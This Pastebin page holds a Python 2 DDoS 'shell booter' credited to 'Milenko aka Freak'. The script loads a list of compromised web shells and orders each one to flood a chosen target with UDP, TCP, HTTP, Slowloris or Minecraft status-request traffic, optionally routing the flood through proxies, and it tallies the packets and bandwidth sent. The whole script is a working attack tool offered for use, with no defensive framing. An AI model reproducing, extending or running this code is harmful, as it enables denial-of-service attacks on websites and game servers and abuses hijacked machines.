KekSec

Shell Booter[UDP/TCP/HTTP/Slowloris/Minecraft][April][2017]

Jan 28th, 2017
2,445
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.47 KB | None | 0 0
  1. #Python shell booter.
  2. #Extremely powerful custom slowloris and HTTP flood that uses random user agents.
  3. #TCP and UDP flood with random data. TCP flood can crash some services as it is a pseudo fuzzer.
  4. #Minecraft DDoS method is unlike any other. It is a getStatus flood.
  5. #It creates a handshake to the server then asks for the servers status, including the icon image, the amount of players, title, etc.
  6. #It is a extremely powerful layer 7 attack.
  7. #All made by Milenko aka Freak
  8. #3.0
  9.  
  10. import threading, time, os, re, urllib, socket
  11.  
  12. HEADER = '\033[95m'
  13. OKBLUE = '\033[94m'
  14. OKGREEN = '\033[92m'
  15. WARNING = '\033[93m'
  16. FAIL = '\033[91m'
  17. ENDC = '\033[0m'
  18. BOLD = '\033[1m'
  19. UNDERLINE = '\033[4m'
  20.  
  21. print OKGREEN + 'Loading Shells'
  22. try:
  23.         f=open("shells.txt","r")
  24.         hosts = f.read().split()
  25.         f.close()
  26. except:
  27.         print 'Unable to load shells. Exiting'
  28.         exit()
  29.  
  30. threads = 0
  31.  
  32. packets = 0
  33.  
  34. port = 0
  35.  
  36. page = "/"
  37.  
  38. mbs = float(0.00)
  39. count = 0
  40. print 'Shell booter (DDoSer) coded by ' + WARNING + ' Milenko aka Freak'
  41. print OKGREEN, len(hosts), 'Shells Loaded.\n'
  42. target = raw_input("IP: ")
  43.  
  44. attacktype = raw_input("Attack type (" + FAIL + "TCP" + OKGREEN + "/" + HEADER + "UDP" + OKGREEN +"/" + OKBLUE +  "HTTP" + OKGREEN + "/" + WARNING + "SLOWLORIS" + OKGREEN + "/MINECRAFT): ")
  45.  
  46. proxiesenabled = "no"
  47.  
  48. if attacktype=="TCP" or attacktype=="UDP" or attacktype=="MINECRAFT":
  49.     if attacktype=="UDP":
  50.         hostname = target
  51.         target = socket.gethostbyname(hostname)
  52.         print "Resolved " + hostname + " into " + target
  53.     port = raw_input("Attack port: ")
  54. elif attacktype=="HTTP" or attacktype=="SLOWLORIS":
  55.     port = "80"
  56.     page = raw_input("Page: ")
  57.     if attacktype=="HTTP":
  58.         proxiesenabled = raw_input("Use glype proxies? (y/n): ")
  59.         if proxiesenabled == "y" or proxiesenabled == "Y" or proxiesenabled == "yes" or proxiesenabled == "Yes":
  60.             scheme = raw_input("Scheme (http or https): ")
  61.             proxylist = open(raw_input("Proxy list location: "), "r").read().split()
  62.     if attacktype=="SLOWLORIS":
  63.          sockets = raw_input("Sockets: ")
  64.  
  65. seconds = input("Time: ")
  66.  
  67. threadss = int (input ("Threads: "))
  68.  
  69. seconds=str(seconds)
  70.  
  71. def fire(host, ip, attacktype, port, page="/"):
  72.     global seconds
  73.     global threads
  74.     global mbs
  75.     global packets
  76.     host=host.strip()
  77.     attacktype=attacktype.strip()
  78.     page=page.strip()
  79.    
  80.     threads +=1
  81.    
  82.     try:
  83.         if attacktype=="UDP":
  84.             reply = urllib.urlopen(host+"?type=UDP&host="+ip+"&port="+port+"&time="+seconds).read()
  85.         elif attacktype=="TCP":
  86.             reply = urllib.urlopen(host+"?type=TCP&host="+ip+"&port="+port+"&time="+seconds).read()
  87.         elif attacktype=="HTTP":
  88.             reply = urllib.urlopen(host+"?type=HTTP&host="+ip+"&port="+port+"&page="+page+"&time="+seconds).read()
  89.         elif attacktype=="SLOWLORIS":
  90.             reply = urllib.urlopen(host+"?type=SLOWLORIS&host="+ip+"&port="+port+"&page="+page+"&sockets="+sockets+"&time="+seconds).read()
  91.         elif attacktype=="MINECRAFT":
  92.             reply = urllib.urlopen(host+"?type=minecraft&host="+ip+"&port="+port+"&time="+seconds).read()
  93.         reply = re.sub("\D", "", reply)
  94.         if len(str(reply))>=10:
  95.             threads -= 1
  96.             print FAIL + host + " did not give valid response!" + OKGREEN
  97.             return
  98.         if "<html>" in reply:
  99.             threads -= 1
  100.             print FAIL + host + " is not a valid shell!" + OKGREEN
  101.             return
  102.         try:
  103.             packets += int(reply)
  104.             if attacktype=="UDP":
  105.                 mb = (((int(reply)*1024)/1024)/1024)
  106.             elif attacktype=="TCP":
  107.                 mb = (((int(reply)*1024)/1024)/1024)
  108.             elif attacktype=="HTTP":
  109.                 mb = (((int(reply)*175)/1024)/1024)
  110.             elif attacktype=="SLOWLORIS":
  111.                 mb = (((int(reply)*175)/1024)/1024)
  112.             elif attacktype=="MINECRAFT":
  113.                 mb = (((int(reply)*30)/1024)/1024)
  114.             try:
  115.                 mbs += mb
  116.             except ValueError:
  117.                 print FAIL + "ValueError from " + host + " (dead shell)" + OKGREEN
  118.                 threads -= 1
  119.                 pass
  120.         except:
  121.             threads -= 1
  122.             pass
  123.     except Exception, e:
  124.         print FAIL + host + " returned " + str(e) + OKGREEN
  125.         threads -= 1
  126.         pass
  127.  
  128.  
  129.     threads -= 1
  130.  
  131.  
  132. if proxiesenabled == "y" or proxiesenabled == "Y" or proxiesenabled == "yes" or proxiesenabled == "Yes":
  133.     newproxylist = []
  134.     for i in xrange(0, len(proxylist)-1):
  135.         newproxylist.append(proxylist[i].replace("https://www.whatismyip.com", urllib.quote(scheme + "://" + target + page, safe='')))
  136.  
  137. while threads <= len(hosts)*threadss:
  138.     if threads >= 600:
  139.        time.sleep(0.2)
  140.     if proxiesenabled == "y" or proxiesenabled == "Y" or proxiesenabled == "yes" or proxiesenabled == "Yes":
  141.             for proxy in newproxylist:
  142.                 for host in hosts:
  143.                     if proxy.startswith("http:"):
  144.                         try:
  145.                             proxyip = proxy.split("//")[1].split("/")[0]
  146.                             proxypage = proxy.split("//")[1].strip(proxy.split("//")[1].split("/")[0])
  147.                             threading.Thread(target = fire, args=(host, proxyip, attacktype, port, urllib.quote(proxypage, safe=''),)).start()
  148.                         except IndexError:
  149.                             pass
  150.     else:
  151.             for host in hosts:
  152.                 threading.Thread(target = fire, args=(host, target, attacktype, port, page,)).start()
  153.  
  154.     while count < (int(seconds)) :
  155.         print (int(seconds) - count), 'Seconds remaining'
  156.         time.sleep(1)
  157.         count += 1
  158.     print 'Stopping...'
  159.     time.sleep(5)
  160.     while threads <= 1:
  161.         print 'Waiting on',WARNING,threads,OKGREEN,'more to finish...'
  162.         time.sleep(1)
  163.         if threads <= 0:
  164.             break
  165.  
  166. print
  167.  
  168. gb = mbs / 1024
  169.  
  170. accuracy = 3 #accuracy of output
  171.  
  172. mbs = float(str(mbs).split(".")[0] + "." + str(mbs).split(".")[1][0:accuracy])
  173. gb = float(str(gb).split(".")[0] + "." + str(gb).split(".")[1][0:accuracy])
  174.  
  175. print str(packets) + " packetz sent, averaging at  " + str(packets/int(seconds)) + " packetz/s"
  176. print str(mbs) + " MB sent " + str(mbs/float(seconds)) + " MB/s "
  177. print str(gb) + " GB sent " + str(gb/ float(seconds)) + " GB/s"
  178. print
  179. print "Press enter to exit."
  180. raw_input()
  181. os.popen("kill -9 " + str(os.getpid()))
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment